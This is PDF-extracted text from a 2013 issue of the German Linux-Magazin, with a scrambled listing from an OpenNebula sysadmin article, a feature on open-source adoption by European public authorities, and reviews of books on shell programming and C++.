Datacenter-Lösungen. Außerdem plant er als Program<br />
Chair das Vortragsprogramm des <strong>Linux</strong>tags.<br />
Open Nebula 11/2013<br />
Sysadmin<br />
www.linux-magazin.de<br />
77<br />
Diese einfache Schnittstelle bietet vielfältige<br />
Möglichkeiten: Über den Umweg des<br />
Pollens von Log- oder Statusdateien lässt<br />
sich etwa ein bestehendes Verfügbarkeitsmonitoring<br />
wie Nagios oder Zabbix<br />
einbinden. Alternativ bringt Open Nebula<br />
Infos<br />
[1] Open Stack: [http:// www. openstack. org]<br />
[2] Open QRM: [http:// www.<br />
openqrm‐enterprise. com/ community/]<br />
[3] Eucalyptus: [https:// github. com/<br />
eucalyptus/ eucalyptus/ wiki]<br />
[4] Ganeti: [http:// code. google. com/ p/ ganeti/]<br />
[5] Open Nebula: [http:// opennebula. org]<br />
[6] Holger Gantikow, Christoph Raible, „Open<br />
Nebula 3“: <strong>Linux</strong>-<strong>Magazin</strong> 10/11, S. 80,<br />
sowie auf der aktuellen Delug-DVD<br />
[7] Support für Open Nebula durch C12G Labs:<br />
[http:// opennebula. org/ support<br />
:contracted]<br />
[8] Installations-Tutorial für Open Nebula:<br />
[http:// opennebula. org/ documentation<br />
:rel4. 2:ignc]<br />
[9] Carsten Zerbst, „Continuous Integration<br />
mit Hudson“ (Jenkins hieß früher Hudson):<br />
<strong>Linux</strong>-<strong>Magazin</strong> 07/10, S. 106<br />
[10] Open-Nebula-Hooks: [http:// opennebula.<br />
org/ documentation:rel4. 2:hooks]<br />
[11] Ganglia: [http:// ganglia. info]<br />
Listing 2: »/var/lib/one/remotes/hooks/acccount.sh«<br />
01 #!/bin/bash<br />
13 ;;<br />
02 <br />
03 ACCOUNTING=/var/log/one/accounting.log<br />
14 esac<br />
15 <br />
04 <br />
05 case "$1" in<br />
16 if [ "$1" = "" ]<br />
17 then<br />
06 "on"|"off")<br />
18 echo "$0 error: ID missing." >&2<br />
07 mode=$1<br />
19 fi<br />
08 shift<br />
20 <br />
09 ;;<br />
21 id=$1<br />
10 *)<br />
22 shift<br />
11 echo "$0 error: wrong mode." >&2<br />
23 <br />
12 exit 1<br />
24 echo "$id $(date +%s) $mode" >> $ACCOUNTING<br />
Listing 3: Inhalt der »$TEMPLATE«-Variable<br />
01 <br />
18 0<br />
02 1<br />
19 259512<br />
03 one‐sandbox<br />
20 87<br />
04 2<br />
21 0<br />
05 kvm<br />
22 243056<br />
06 qemu<br />
23 12<br />
07 dummy<br />
24 1<br />
08 1377716985<br />
25 <br />
09 ‐1<br />
26 <br />
10 <br />
11 <br />
27 16<br />
12 0<br />
28 <br />
13 65536<br />
29 <br />
14 10<br />
30 <br />
15 0<br />
31 [...]<br />
16 502568<br />
32 <br />
17 100<br />
33
Forum<br />
www.linux-magazin.de Open Source in Europa 11/2013<br />
78<br />
Europas Behörden vertrauen zunehmend auf Open-Source-Software<br />
Abgehängt<br />
In Europa wird der Einsatz von Open-Source-Software allmählich zur Erfolgsstory. Doch wer glaubt, Deutschland<br />
spiele dabei ganz vorn mit, irrt. Der niederländische Journalist Gijs Hillenius von Joinup liefert eine Außenperspektive<br />
auf die deutsche Open-Source-Behördenwelt und zeichnet kein gutes Bild. Gijs Hillenius, Markus Feilner<br />
© elnavegante, 123RF.com<br />
Google, Skype, Twitter – die großen Internetkonzerne<br />
setzen im großen Stil auf<br />
freie Software und <strong>Linux</strong>.<br />
Doch damit auch Behörden davon profitieren<br />
können, braucht es politischen<br />
Rückhalt – und den sucht man in<br />
Deutschland oft vergebens. Das Verhalten<br />
des dafür unter anderem zuständigen<br />
Kompetenzzentrums Open Source [4]<br />
spricht Bände. Es hat in den vergangenen<br />
zwei Jahren keine einzige der Anfragen<br />
der Joinup-Autoren beantwortet, im<br />
Innenministerium scheint es gar einen<br />
Maulkorberlass zu geben, der erfolgreich<br />
verhindert, dass Mitarbeiter Fragen beantworten.<br />
Der typische Niederländer wundert sich<br />
nicht, dass sein Land auf Platz 1 rangiert,<br />
während Deutschland in Sachen<br />
E-Government nur unter „ferner liefen“<br />
auftaucht. Die Rede ist vom E-Government-Ranking<br />
2012 [1] der Vereinten Nationen,<br />
das Deutschland im europäischen<br />
Vergleich auf Platz 10 einstufte.<br />
Oranjer Sieg, German Angst<br />
Das gute Ergebnis lässt sich zum Teil<br />
damit erklären, dass die niederländische<br />
Regierung ihre Bürger in Sachen Open<br />
Source geradezu verwöhnt: Seit 2006<br />
stellt sie einen nativen <strong>Linux</strong>-Client für<br />
die alljährliche Steuererklärung bereit.<br />
Davon können Deutsche nur träumen:<br />
Dort streitet die Branche auch 2013 noch<br />
über Elster-Clients für <strong>Linux</strong>, die Verantwortlichen<br />
wollen die laute Kritik offenbar<br />
aussitzen [2].<br />
Doch auch abseits jeder Häme fragt sich<br />
der externe Beobachter häufig, ob deutsche<br />
Behörden noch immer Angst vor<br />
freier Software haben. Das in der Vergangenheit<br />
immer wieder vorgebrachte<br />
Argument vom fehlenden Support auf<br />
Enterprise-Ebene zieht nicht mehr: Organisationen<br />
wie die Open Source Business<br />
Alliance [3] mit ihren zahlreichen Mitgliedern<br />
versprechen einen ganzen Stack<br />
freier Softwareprodukte, die problemlos<br />
miteinander interagieren sollen.<br />
Zu den Mitgliedern der OSBA zählen Provider,<br />
Konzerne und Softwareschmieden.<br />
Sie bieten eine Produktpalette an, die<br />
von Groupware über CRM, CMS, ERP,<br />
Business Intelligence bis zu hin zu Sicherheitstools,<br />
Middleware und Archivierungstools<br />
reicht und sogar das Betriebssystem<br />
selbst einschließt.<br />
Offenbar sind die deutschen Behörden<br />
noch nicht zu der Erkenntnis gelangt,<br />
dass Innovation häufig nicht mehr auf<br />
dem Markt der geschlossenen, proprietären<br />
Produkte stattfindet, sondern dort,<br />
wo OSS im Einsatz ist. Amazon, Facebook,<br />
Den Liberalen die Marktwirtschaft<br />
erklären<br />
Es sind fast ausschließlich Politiker vom<br />
linken Rand des Spektrums, die es wagen,<br />
Stellung zu Open Source zu beziehen.<br />
Offenbar hat jemand vergessen, den<br />
seit Jahren regierenden Liberalen gerade<br />
in diesem Punkt zu erklären, wie freier<br />
Wettbewerb funktioniert.<br />
Den deutschen Behörden zugutehalten<br />
kann man nur, dass auch in anderen<br />
EU-Staaten zahlreiche Institutionen eher<br />
sparsam mit Auskünften sind. Doch findet<br />
dort gerade eine kleine Revolution<br />
statt: Immer mehr Behörden bevorzugen<br />
Open Source, wenn sie neue Infrastrukturen<br />
und Tools anschaffen, teils absichtlich,<br />
teils aus purer Unwissenheit.<br />
Manchmal sind es schlicht Gesetze, die<br />
sie zwingen, freie Softwaretools zu verwenden,<br />
mindestens genauso oft jedoch<br />
geschieht es, weil ein Softwarehersteller<br />
beispielsweise erklärt, dass die Datenbank<br />
für das CMS jetzt durchaus auch<br />
PostgreSQL sein könne. Das sei ausge-
Abbildung 1: Schwedens legendärer König Gustav Vasa rief das Kammarkollegiet<br />
1539 ins Leben, vor wenigen Jahren hat das Gremium eine vorbildliche<br />
Open-Source-Ausschreibungsvorlage erarbeitet.<br />
reift, laufe stabil und die Behörde könne<br />
sich so die teuren Lizenzen für die<br />
proprietäre Oracle-Datenbank sparen. So<br />
bringen oft kommerzielle Hersteller freie<br />
Software ins Spiel, ohne dass sie direkt<br />
daran verdienen.<br />
Open-Source-Europameister:<br />
Frankreich<br />
Wer aber ist unter den Ländern Europas<br />
Vorreiter in Sachen Open Source, wie<br />
sähe eine Open-Source-Hitparade der EU<br />
aus? An erster Stelle läge da ohne Frage<br />
Frankreich, auch dank des Ayrault Circulaire<br />
[5], eines zentralen Beschlusses<br />
inklusive Handlungsvorgabe, der bis in<br />
die Details beschreibt, wer, wie, wo und<br />
warum OSS verwendet und welche Ergebnisse<br />
damit erreichbar sind.<br />
Möglich machte den auch das Adullact-<br />
Netzwerk [6], in dem sich Beamte und<br />
Angestellte des öffentlichen Dienstes vernetzen<br />
– und von denen sich erstaunlich<br />
viele in der Freie-Software-Bewegung<br />
engagieren. Wer sich damit beschäftigt,<br />
wird überrascht sein, wie tief die Nutzung<br />
von Open Source die französischen<br />
Behörden durchdringt, bis hinein in zahlreiche<br />
Ministerien.<br />
Auf Platz 2, aber nur knapp hinter dem<br />
Spitzenreiter, findet sich Spanien. Dort<br />
hat gar ein so genannter königlicher Beschluss,<br />
das „Royal Decree 4/2010 on the<br />
National E-Government Interoperability<br />
Framework“, dafür gesorgt, dass offene<br />
Standards und Formate auf dem Vormarsch<br />
sind und in zahlreichen Administrationen<br />
zum Einsatz<br />
kommen [7].<br />
Auch Bronze geht<br />
nach Südeuropa: 2012<br />
machte Italien Open-<br />
Source-Software zur<br />
ersten Wahl für Behörden.<br />
Im Digital<br />
Administration Code<br />
bestimmte die italienische<br />
Verwaltung, wie<br />
freie und proprietäre<br />
Software zu vergleichen<br />
und zu bewerten<br />
sei. Mit der Feinjustage<br />
dieser sonst als<br />
Ding der Unmöglichkeit<br />
eingeordneten<br />
Aufgabe soll sich zukünftig<br />
eine Kommission [8] beschäftigen,<br />
die aber sicherlich noch viel Zeit für<br />
dieses Ziel benötigen wird.<br />
Vorbildliche Ausschreibung<br />
Bis das so weit ist, könnte der dritte Platz<br />
auch an Schweden übergehen, denn das<br />
skandinavische Land hat einen überaus<br />
geschickt eingefädelten Ausschreibungsplan<br />
verfasst. Das altehrwürdige Kammarkollegiet<br />
([9], Abbildung 1), eine bereits<br />
im 16. Jahrhundert von Gustav Vasa<br />
ins Leben gerufene Behörde, organisiert<br />
damit den Support für Institutionen, die<br />
auf Open Source setzen.<br />
Schwedens Framework für OSS-Ausschreibungen<br />
beinhaltet vergleichsweise<br />
einzigartige Vorgaben: So verpflichtet es<br />
Softwarefirmen, neuen Code nachweisbar<br />
an die Upstream-Projekte zurückzugeben,<br />
wenn sie als Partner in einem Projekt<br />
auftreten. Das gilt auch, wenn Subunternehmer<br />
oder weitere Vertragspartner<br />
ins Spiel kommen. Es minimiert zudem<br />
das Risiko der Behörden, indem es dem<br />
Vertragspartner (der Softwarefirma) die<br />
Aufgabe der rechtlichen Prüfung überträgt,<br />
ob der verwendete Code freigegeben<br />
werden darf. Gibt es dabei Probleme,<br />
oder fallen Lizenzgebühren an, dann liegt<br />
das Problem beim Auftragnehmer.<br />
Das Framework erwies sich als Erfolgsmodell,<br />
das Open-Source-Ausschreibungsmodell<br />
hat in den letzten Jahren<br />
enorm an Zulauf gewonnen, kein anderes<br />
Verfahren wächst mit ähnlicher<br />
Geschwindigkeit, auch wenn Schweden<br />
darüber fast ausschließlich Support für<br />
Drupal, Alfresco und Red Hat einzukaufen<br />
scheint [10].<br />
Fünf Anbieter sind dem schwedischen<br />
Staat bereits vertraglich verbunden und<br />
dürfen daher Diensleistungen für die<br />
Regierung, das Erziehungswesen und<br />
alle zwanzig Regionalregierungen anbieten.<br />
Von 290 schwedischen Gemeinden<br />
nehmen 225 am Verfahren teil. Die fünf<br />
Auftragnehmer beschäftigen ihrerseits<br />
wiederum 75 Firmen, meist spezialisierte<br />
oder regionale Dienstleister. Wie die Äste<br />
eines Baums erstreckt sich das Ausschreibungsverfahren<br />
ins nordische Land und<br />
erreicht so die lokale Wirtschaft: Zahlreiche<br />
Einzelunternehmer sind beteiligt,<br />
Mittelständler, kleinere Firmen oder unbekanntere<br />
Open-Source-Spezialisten,<br />
aber auch Schwedens größtes OSS-Unternehmen<br />
mit 180 Mitarbeitern.<br />
Seit Kurzem gibt es dieses Papier auch<br />
auf Deutsch, übersetzt auf Wunsch der<br />
Schweizer Regierungsbehörde Fitsu ([11],<br />
Federal IT Steering Unit). Die Eidgenossen<br />
prüfen derzeit, ob und wie sich der<br />
überaus erfolgreiche Ansatz auf die Alpenrepublik<br />
übertragen ließe. Von diesen<br />
Ergebnissen könnte auch eine deutsche<br />
OSS-Strategie profitieren, falls es sie denn<br />
einmal gäbe.<br />
Auf den Plätzen: Niederlande,<br />
England, Deutschland<br />
Auf den weiteren Plätzen einer europäischen<br />
Open-Source-Hitparade fänden<br />
sich auch die Niederlande, wo mehrere<br />
Regierungsbehörden nicht müde werden,<br />
Open-Source-Pläne und freie Standards<br />
zu fördern, auch nachdem das NoIV-Programm<br />
(Nederland open in Verbinding,<br />
[12]) nicht mehr voranschreitet. Ein<br />
Standardisierungsgremium und die Dachorganisation<br />
King sollen die Gemeinden<br />
unterstützen, die auf freie Software und<br />
E-Government-Dienste setzen.<br />
Schwieriger einschätzen lässt sich die<br />
Lage in Großbritannien. Im Vereinigten<br />
Königreich gibt es eine klare Vorliebe für<br />
Wettbewerb und Herstellerunabhängigkeit,<br />
trotzdem zögert die Administration<br />
immer wieder. Auch wenn es positive<br />
Beispiele gibt ([13], [14]), so gleicht die<br />
Situation doch der deutschen: Auch aus<br />
England erhielten die Autoren keine Antworten<br />
auf Anfragen zum Open-Source-<br />
Open Source in Europa 11/2013<br />
Forum<br />
www.linux-magazin.de<br />
79
Forum<br />
www.linux-magazin.de Open Source in Europa 11/2013<br />
80<br />
Abbildung 2: Das weltweit größte OSS-Migrationsprojekt findet sich in Frankreich,<br />
wo die Gendarmerie jährlich 10 000 Rechner auf Ubuntu umstellt.<br />
Pilotprogramm von 2011, selbst die offiziellen<br />
Sprecher hüllen sich in Schweigen.<br />
Open Source ist Alltag<br />
Dennoch ist freie Software Alltag in europäischen<br />
Behörden. Letztere hängen das<br />
oft nicht an die große Glocke, weil die<br />
Spezialisten OSS mittlerweile in vielen<br />
Bereichen weitgehend als Standard betrachten,<br />
etwa im Bereich der <strong>Web</strong>-Server<br />
und ‐Anwendungen. Eine Behörde, die<br />
kein OSS-Tool im Einsatz hat, gibt es de<br />
facto nicht mehr. Das Open Source Observatory<br />
[15], ein Projekt der Europäischen<br />
Kommission, hat viele weitere Belege gesammelt,<br />
die aber den Rahmen dieses<br />
Artikels sprengen würden. Stichworte<br />
für die Recherche wären Kivos (Schweden),<br />
Frikomport (Norwegen), Mimio<br />
(Belgien), Open Marie (Frankreich) oder<br />
Dänemark mit OS2<strong>Web</strong> oder Ting, von<br />
den einschlägigen Projekten in Italien,<br />
Griechenland, Zypern, Portugal und Irland<br />
ganz zu schweigen.<br />
Dass diese Erfolgsgeschichte im Medien-<br />
Mainstream relativ unbekannt blieb, hat<br />
im Wesentlichen drei Ursachen: Erstens<br />
ist gerade der Bereich, der sprichwörtlich<br />
am sichtbarsten ist, am wenigsten<br />
von Open-Source-Software durchdrungen:<br />
der Desktop. Hier funktioniert der<br />
Vendor-Lock-in nach wie vor am besten,<br />
sind Gewohnheiten der User am schwersten<br />
zu ändern. Wer hier nicht aufpasst,<br />
fährt Migrationen an die Wand, wie in<br />
Freiburg [16].<br />
Zweitens zieht die IT derzeit verstärkt um<br />
– in die Cloud, wobei sich viele Admins<br />
freiwillig wieder in vom Vendor-Lock-<br />
in beschränkte Infrastrukturen<br />
begeben.<br />
Das Thema Cloud beherrscht<br />
die Berichterstattung.<br />
Drittens<br />
erweisen sich gerade<br />
die im öffentlichen<br />
Sektor erforderlichen<br />
Ausschreibungsverfahren<br />
als problematisch<br />
– bisweilen sogar als<br />
schlicht illegal.<br />
Jede fünfte Ausschreibung<br />
legt dem OSS-<br />
Einsatz Steine in den<br />
Weg, indem sie eigentlich<br />
nicht erlaubte<br />
Verweise auf technische Spezifikationen<br />
oder Marken proprietärer Software enthält.<br />
Und dieser Anteil nimmt zu, erklärt<br />
das Open Forum Europe. Die Lobbygruppe,<br />
die in Großbritannien und der<br />
EU freie Software pushen möchte, klagt<br />
über unfaire Voraussetzungen [17]: „Fast<br />
19 Prozent der Ausschreibungen enthalten<br />
solche Referenzen, das ist der höchste<br />
Stand der letzten drei Jahre.“ Dass solche<br />
Fehler auch der Europäischen Kommission<br />
selbst unterlaufen, macht die Sache<br />
nicht wirklich einfacher [18].<br />
Drei Großprojekte<br />
Was aber geschieht in Deutschland? Wer<br />
Migrationsprojekte nach der Anzahl der<br />
migrierten Arbeitsplätze sortiert, findet<br />
das Münchner Limux-Projekt immerhin<br />
unter den Top 3, allerdings mit deutlichem<br />
Abstand zu den ersten beiden<br />
Plätzen. Die 14 000<br />
Rechner, die München<br />
migriert, nehmen sich<br />
gegenüber den 85 000<br />
PCs in den Amtsstuben<br />
der französischen<br />
Gendarmerie (Platz 1,<br />
Abbildung 2, [19])<br />
eher mickrig aus. Die<br />
hat 45 000 Standorte<br />
und migriert jedes<br />
Jahr 10 000 Computer.<br />
Abgeschlossen wird<br />
das Projekt wohl im<br />
Jahr 2015, wenn über<br />
90 Prozent der Rechner<br />
komplett frei und<br />
quelloffen betrieben<br />
Quelle: Wikimedia Commons, CC-BY-SA, Mutxamel,Rastrojo<br />
werden. Immerhin strebt auch München<br />
einen ähnlichen Prozentsatz an – was<br />
wohl kein Zufall ist.<br />
Dass die Gendarmerie überhaupt umgestellt<br />
hat, soll einer gängigen Anekdote<br />
zufolge von einem proprietären Hersteller<br />
initiiert gewesen sein – unabsichtlich<br />
versteht sich. Zumindest ist das die<br />
Geschichte, die Lieutenant-Colonel Xavier<br />
Guimard auf einer niederländischen<br />
Open-Source-Konferenz im Jahr 2009 erzählte<br />
[20]. Ihm zufolge beschwerte sich<br />
ein Hersteller im Jahr 2004 höchstpersönlich<br />
bei einem verantwortlichen General<br />
über einen IT-Mitarbeiter, der die Frechheit<br />
besaß, einfach mit Open-Source-<br />
Tools „herumzuexperimentieren“.<br />
Die versuchte Einflussnahme ging jedoch<br />
nach hinten los, erst dadurch bekamen die<br />
Verantwortlichen Wind von den Möglichkeiten<br />
und niedrigeren Kosten der freien<br />
Software – eine Erfolgsgeschichte kam<br />
ins Rollen. Die finanziellen Einsparungen<br />
sind enorm: „Früher musste einer von<br />
uns das ganze Jahr durch die Welt reisen,<br />
etwa um in Polynesien die Virensoftware<br />
auf den Desktops zu updaten. Vergleichbares<br />
erledigen wir heute innerhalb von<br />
zwei Wochen, ohne Reisekosten, aus<br />
Frankreich“, erklärt Guimard.<br />
Die Extremadura und Limux<br />
Gut fünfmal größer als Limux ist ein<br />
spanisches Projekt: Die autonome Region<br />
Extremadura in Spaniens Südwesten<br />
(Abbildung 3) betreibt mittlerweile<br />
70 000 Rechner mit GNU/Linex [21]. Das<br />
ins Spanische übersetzte Debian kommt<br />
Abbildung 3: An der portugiesischen Grenze liegt die Extremadura, eine der<br />
historischen Kernregionen Spaniens.
vor allem in Schulen zum Einsatz, im<br />
Dualboot-Betrieb. Etwa 15 000 Linex-<br />
Rechner laufen damit in spanischen<br />
Krankenhäusern.<br />
Doch das ist erst der Anfang: Bald soll<br />
Ubuntu oder eine ähnliche Distribution<br />
weitere 40 000 Rechner in allen Büros<br />
der Regionalregierung ersetzen [22].<br />
Das Projekt firmiert unter dem Namen<br />
Challenge (Herausforderung), Theodomir<br />
Cayetano, CIO der Extremadura, erklärt<br />
die erwarteten Vorteile im Interview<br />
[23]: Mit freier Software ließen sich die<br />
Desktops vereinheitlichen, das Management<br />
zentralisieren und gleichzeitig mehr<br />
Sicherheit und weniger Anfälligkeit für<br />
Malware sicherstellen. Schwierig könnte<br />
nur werden, dass eigentlich kein Geld für<br />
die Migration zur Verfügung stehe.<br />
Auch wenn deutsche Behörden im europäischen<br />
Vergleich nicht gut abschneiden<br />
und von zahlreichen anderen Institutionen<br />
überholt wurden, hat das Land doch<br />
mit dem Limux-Projekt ein Leuchtturmprojekt<br />
aufzuweisen. München begann<br />
als eine der ersten größeren Kommunen<br />
mit der Migration einer fünfstelligen Anzahl<br />
von Rechnern, hat dabei zahlreiche<br />
spannende Open-Source-Projekte ins<br />
Leben gerufen und außerdem viel Geld<br />
gespart [24]. Wollmux, das Formatvorlagen-Managementtool,<br />
hat sich auch<br />
im europäischen Maßstab bewährt und<br />
wurde in den letzten Jahren zu einem<br />
der beliebtesten Projekte auf der Joinup-<br />
<strong>Web</strong>seite [25].<br />
Freiheit, die ich meine!<br />
Der Autor<br />
Gijs Hillenius ist ein unabhängiger<br />
Journalist aus den<br />
Niederlanden. Seit 2007 hat<br />
er über 1500 Artikel über<br />
freie Software verfasst,<br />
viele davon für die Europäische<br />
Kommission und OSOR sowie Joinup [http://<br />
www. joinup. eu], eine Plattform, die dabei helfen<br />
soll, ICT-Lösungen in Europa zu teilen und weiterzuentwickeln.<br />
Limux ist auch außerhalb der Community<br />
das mit Abstand bekannteste OSS-Migrationsprojekt.<br />
Das verdankt das Vorzeigeprojekt<br />
in weiten Teilen der politischen<br />
Rückendeckung durch Münchens Oberbürgermeister<br />
Ude, der die Stadt frühzeitig<br />
auf den Pfad freier Software führte<br />
und auch als „Desktop Number One“ mit<br />
gutem Beispiel voranschritt – obwohl gerade<br />
Microsoft stets mit harten Bandagen<br />
kämpfte und alles tat, um die Entscheidung<br />
revidieren zu lassen [26]. Dank<br />
seiner großen Außenwirkung entwickelt<br />
sich das Projekt zum schmerzenden Stachel<br />
in Redmond.<br />
Der durchaus mit kabarettistischem Talent<br />
ausgestattete Ude erzählt dementsprechend<br />
gern, beispielsweise auf den<br />
Münchner Open Source Tagen 2012, die<br />
Geschichte von einer intimen Limo-Fahrt<br />
mit Bill Gates persönlich: Auf dem Rückweg<br />
von einem Vortrag von Ude in Kalifornien<br />
bot der damalige Microsoft-Chef<br />
dem OB an, ihn mit seiner Limousine<br />
zum Flughafen zu fahren.<br />
Der Oberbürgermeister nahm dankend<br />
an, fand sich jedoch kurz darauf hinter<br />
verdunkelten Scheiben in einem sehr privaten<br />
Gespräch mit Gates wieder, der die<br />
halbe Stunde Fahrt offensichtlich dazu<br />
nutzen wollte, den OB zu überzeugen,<br />
seine Limux-Entscheidungen rückgängig<br />
zu machen. Den Einstieg suchte Gates mit<br />
der beiläufigen Frage: „Warum machen<br />
sie das [die Migration]?“ Udes Antwort:<br />
„Um Freiheit zu gewinnen.“ – „Freiheit<br />
wovon, Mr. Ude?“ – „Freiheit von Ihnen,<br />
Mr. Gates.“ Der Rest der Fahrt, so erzählt<br />
Ude, sei in einvernehmlichem Schweigen<br />
vonstattengegangen. <br />
n<br />
Infos<br />
[1] United Nations E-Government Survey:<br />
[http:// www. un. org/ en/ development/<br />
desa/ publications/ connecting<br />
‐governments‐to‐citizens. html]<br />
[2] Elster für <strong>Linux</strong> und Mac nicht geplant:<br />
[http:// www. finanzamt. bayern. de/ LfSt/<br />
Aktuelles/ Pressemitteilungen/ 2013/<br />
03‐12. php? f=LfSt& c=n& d=x& t=x]<br />
[3] Open Source Business Alliance:<br />
[http:// www. osb‐alliance. de]<br />
[4] Kompetenzzentrum Open Source:<br />
[http:// www. cio. bund. de/ DE/ IT‐Angebot/<br />
Kompetenzzentrum‐Open‐Source/<br />
kompetenzzentrum_opensource_node. html]<br />
[5] Frankreich plant konsequent mit OSS:<br />
[https:// joinup. ec. europa. eu/ community/<br />
osor/ news/ ministries‐france‐detail‐use<br />
‐and‐plans‐free‐software]<br />
[6] Adullact: [http:// www. adullact. org]<br />
[7] Spaniens Royal Decree 4/2010:<br />
[https:// joinup. ec. europa. eu/ community/<br />
osor/ news/ spains‐zaragoza‐continues<br />
‐gradual‐switch‐open‐source]<br />
[8] Italien schreibt Open-Source-Software<br />
vor: [http:// www. linux‐magazin. de/ NEWS/<br />
OSS‐Vorreiter‐Italien‐schreibt‐Open<br />
‐Source‐Software‐in‐Behoerden‐vor]<br />
[9] Kammarkollegiet:<br />
[http:// www. kammarkollegiet. se]<br />
[10] Schweden bringt OSS-Ausschreibungs-<br />
Framework: [https:// joinup. ec. europa. eu/<br />
news/ se‐framework‐agreement‐increases<br />
‐use‐open‐source]<br />
[11] Fitsu hat übersetzt: [http:// www.<br />
digitale‐nachhaltigkeit. ch/ 2013/ 04/<br />
oss‐rahmenvertraege/]<br />
[12] Nederland open in Verbinding: [https://<br />
www. ictu. nl/ archief/ noiv. nl/ index. html]<br />
[13] Leeds Hospital: [http:// www.<br />
ehealthopensource. com/ case‐studies/<br />
leeds‐teaching‐hospitals‐nhs‐trust/]<br />
[14] Großbritanniens IT im <strong>Web</strong>:<br />
[https:// www. gov. uk]<br />
[15] Open Source Observatory:<br />
[http:// www. osor. eu]<br />
[16] Freiburg: [http:// www. linux‐magazin. de/<br />
NEWS/ Vollgas‐zurueck‐Freiburg‐will‐im<br />
‐Eilverfahren‐zurueck‐zu‐MS‐Office]<br />
[17] Open Forum beklagt Ausschreibungsfehler:<br />
[https:// joinup. ec. europa. eu/ news/<br />
openforum‐europe‐procurement‐law‐fails<br />
‐address‐discriminatory‐practices]<br />
[18] Ausschreibungsfehler der EU:<br />
[http:// www. computerweekly.<br />
com/ blogs/ public‐sector/ 2012/ 07/<br />
-the‐european‐commission‐has. html]<br />
[19] Ubuntu der Gendarmerie:<br />
[http:// en. wikipedia. org/ wiki/ GendBuntu]<br />
[20] Gendarmerie spart mit Open Source:<br />
[http:// joinup. ec. europa. eu/ news/ fr<br />
‐gendarmerie‐saves‐millions‐open<br />
‐desktop‐and‐web‐applications]<br />
[21] GNU/Linex:<br />
[http:// en. wikipedia. org/ wiki/ GnuLinEx]<br />
[22] Extremadura: [http:// joinup. ec. europa. eu/<br />
community/ osor/ news/ spains<br />
‐extremadura‐starts‐switch‐40000<br />
‐government‐pcs‐open‐source]<br />
[23] Interview mit Extremadura-CEO Theodomir<br />
Cayetano: [http:// joinup. ec. europa.<br />
eu/ news/ extremadura‐move‐all‐its‐40000<br />
‐desktops‐open‐source]<br />
[24] Limux: [http:// www. muenchen. de/ limux]<br />
[25] Wollmux: [http:// www. wollmux. net]<br />
[26] Markus Feilner, „Ein idealer Sündenbock“:<br />
<strong>Linux</strong>-<strong>Magazin</strong> 09/11, S. 38<br />
Open Source in Europa 11/2013<br />
Forum<br />
www.linux-magazin.de<br />
81
Forum<br />
www.linux-magazin.de Bücher 11/2013<br />
82<br />
Bücher über Shellprogrammierung sowie über C++<br />
Tux liest<br />
Das <strong>Linux</strong>-<strong>Magazin</strong> hat sich diesmal zwei dicke Bände vorgenommen: Der erste ist deutschsprachig und<br />
beschäftigt sich mit Shellprogrammierung, der zweite ist in Englisch verfasst und stellt die Sprache C++<br />
aus dem Blickwinkel ihres Erfinders Bjarne Stroustrup dar. Bernhard Bablok, Rainer Grimm<br />
Auf dem Buch „Shellprogrammierung“<br />
(vierte, überarbeitete Auflage) prangt als<br />
Untertitel „Das umfassende Handbuch“.<br />
Mit 800 Seiten übertrifft es aber die übliche<br />
Handbuchgröße deutlich. Im Grunde<br />
unnötig, denn es enthält viele Kapitel, die<br />
mit Shellprogrammierung gar nichts zu<br />
tun haben: Wichtige <strong>Linux</strong>-Kommandos<br />
sind mit dem Thema ja noch verwandt,<br />
aber die Kapitel über HTML, CGI-Programmierung<br />
und Gnuplot scheinen doch<br />
mehr der Pflicht geschuldet zu sein, das<br />
Buch vollzukriegen.<br />
Shell und mehr<br />
Die enthaltenen <strong>Linux</strong>-Kommandos zeigen,<br />
dass das Buch sich aber nicht nur als<br />
Handbuch für die Shellprogrammierung<br />
versteht, sondern eher als Handbuch für<br />
den Alltag des Sysadmin gedacht ist – zu<br />
dem auch die Shellprogrammierung gehört.<br />
Für die Zielgruppe der angehenden<br />
Admins ist das Buch also durchaus zu<br />
empfehlen. Wer sich aber mit <strong>Linux</strong>/Unix<br />
auskennt und gezielt ein Buch über die<br />
Shellprogrammierung sucht, ist nicht so<br />
gut bedient.<br />
Das umso mehr, als das Buch hier eben<br />
nicht „umfassend“ angelegt ist. Die Autoren<br />
behandeln zwar neben der Bash<br />
auch andere wichtige Shells (wie »sh«<br />
oder »ksh«) und gehen – wenn nötig –<br />
Info<br />
Jürgen Wolf, Stefan<br />
Kania:<br />
Shell-Programmierung<br />
Galileo Computing, 2013<br />
800 Seiten<br />
40 Euro (Online-Ausgabe<br />
35 Euro)<br />
ISBN 978-3-8362-2310-2<br />
auf Unterschiede ein, aber die Neuerungen<br />
der Bash 4 erwähnen sie überhaupt<br />
nicht. Das ist ein schweres Manko, denn<br />
die aktuelle Version der Bash ist mehr als<br />
vier Jahre alt und inzwischen Standard<br />
auf den meisten Systemen.<br />
Darüber hinaus leistet sich dieser Band<br />
eine Reihe schwerer Patzer rund um das<br />
Quoting, etwa bei der Erklärung des Unterschieds<br />
zwischen »$*« und »$@«. Das<br />
wird Anfängern nicht auffallen, aber gerade<br />
das Quoting muss einfach stimmen,<br />
sonst wird der angehende Programmierer<br />
jahrelang mit Fehlern in seinen Skripten<br />
kämpfen.<br />
Diese Mängel sind bedauerlich, denn das<br />
Buch ist didaktisch gut aufgebaut, schön<br />
gedruckt und die Mischung aus Theorie<br />
und Praxis ist ansprechend. Störend wirkt<br />
nur eine Reihe völlig unnötiger Anglizismen,<br />
in den Kapitelüberschriften etwa<br />
„Bash und Kornshell only“. Hier hätte das<br />
Lektorat eingreifen müssen.<br />
C++-Bibel aktualisiert<br />
Mit gut 1300 Seiten zählt „The C++<br />
Programming Language“ von Bjarne<br />
Stroustrup in der vierten Auflage ebenso<br />
viele Seiten wie der aktuelle C++-Standard,<br />
der Grundlage des Buches ist. Alleine<br />
60 Seiten widmet der Erfinder von<br />
C++ dem Index.<br />
Das Buch genießt seit seiner ersten Auflage<br />
einen legendären Ruf. Gilt es doch<br />
einerseits als die C++-Bibel, andererseits<br />
als ein Buch, das den Einsteiger aufgrund<br />
seines Umfangs und seiner Akribie zu<br />
erschlagen droht. Diesem Ruf wird auch<br />
die aktuelle Auflage gerecht.<br />
Es besteht aus vier Themenblöcken, die<br />
in mehrere Kapitel aufgeteilt sind. Bevor<br />
Bjarne Stroustrup auf gut 300 Seiten die<br />
Grundlagen der Programmiersprache darlegt,<br />
gibt er eine Einführung in C++ im<br />
Allgemeinen und in sein eigenes Werk im<br />
Besonderen. Dabei versteht er unter den<br />
Grundlagen von C++ den C-Kern. Auf<br />
